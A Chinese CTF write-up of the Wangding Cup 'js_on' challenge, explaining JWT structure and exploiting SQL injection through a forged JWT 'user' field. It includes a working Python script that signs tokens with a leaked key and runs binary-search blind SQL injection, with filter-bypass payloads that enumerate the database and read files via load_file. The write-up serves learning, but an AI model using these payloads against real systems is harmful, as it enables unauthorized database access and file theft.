网鼎杯玄武组web js_on

前置知识

环境出自ctfhub
本博客用于自己学习记录
拿到题目:
有一个登陆窗口,看着像注入,但是注入的时候被出题者疯狂嘲讽
可以通过admin/admin成功登陆,登陆之后存在key值,当时打网鼎的时候不知道key值怎么用,后来了解到了用在token,题目叫js_on,根据大佬的指点
本题考的知识点是jwt

现在说一下jwt
JWT的原则是在服务器身份验证之后,将生成一个JSON对象并将其发送回用户,之后,当用户与服务器通信时,客户在请求中发回JSON对象。服务器仅依赖于这个JSON对象来标识用户。为了防止用户篡改数据,服务器将在生成对象时添加签名

jwt构造为:JWT头、有效载荷和签名

链接:https://baijiahao.baidu.com/s?id=1608021814182894637&wfr=spider&for=pc
这个链接介绍jwt很详细

解题思路

通过提示,我们知道存在token注入,token分为三段,第一段为header,第二段为payload,第三段为签名,header可以不变,payload存在自定义字段
将payload的进行base64解码

{"user":"admin","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}

可以看到解码之后的存在admin和一个key值,此时的key值就是登陆成功之后的key值 ,根据大佬提示在admin字段存在sql注入
进行测试
and 1=1

{"user":"admin'/**/and/**/'1'='1'#"","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}

and 1=2

{"user":"admin'/**/and/**/'1'='2'#","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}

将其进行base64加密,之后通过jwt官方网站得到token
jwt官网:https://jwt.io/#debugger
注意一定要用官网的调试工具,且签名的加密方式是mhachash256 不是hash256
网鼎杯玄武组web js_on_第1张图片网鼎杯玄武组web js_on_第2张图片如上图所示绕过构造错误则news显示???? why…
如果构造正确,将显示正确的news值
很明显是布尔注入

写脚本 :通过load_file读取flag文件

# coding=utf-8
 
 
import jwt
import requests
import re
requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-7a51cd870d5dad21.sandbox.ctfhub.com:10080"
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:
    # print(info)
 
 
#payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
payloadTmpl = "i'/**/or/**/ascii(mid((select/**/load_file('/flag')),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=performan<a>ce_schema()),{},1))>{}#"
 
def half_interval():
    result = ""
    for i in range(1,50):
        min = 32
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2 
            payload = payloadTmpl.format(i,mid)
            jwttoken = {
                "user": payload,
                "news": "success"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
            #print(payload)
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies,proxies=proxies)
            if re.findall("success", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)
 
 
if __name__ == "__main__":
    half_interval()
    # payload = payloadTmpl.format(1,32)
    # jwttoken = {
    #     "user": payload,
    #     "news": "success"
    # }
    # print(jwttoken)
    # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
    # print(payload)
    #cookies = dict(token=str(payload))
    #res = requests.get(url,cookies=cookies,proxies=proxies)
    #res.encoding='utf-8'
    #print(res.text)

脚本是down网上大佬的
网鼎杯玄武组web js_on_第3张图片脚本中使用进行绕过,绕过不进行过滤的话则会出现图片说的提示。

收获

1.了解了jwt的知识
2.了解怎么做token的sql注入
3.过滤方式

payloadTmpl = "i'/**/or/**/ascii(mid((select/**/load_file('/flag')),{},1))>{}#"

了解了通过来绕过过滤
4.脚本的相关知识

你可能感兴趣的:(ctfhub)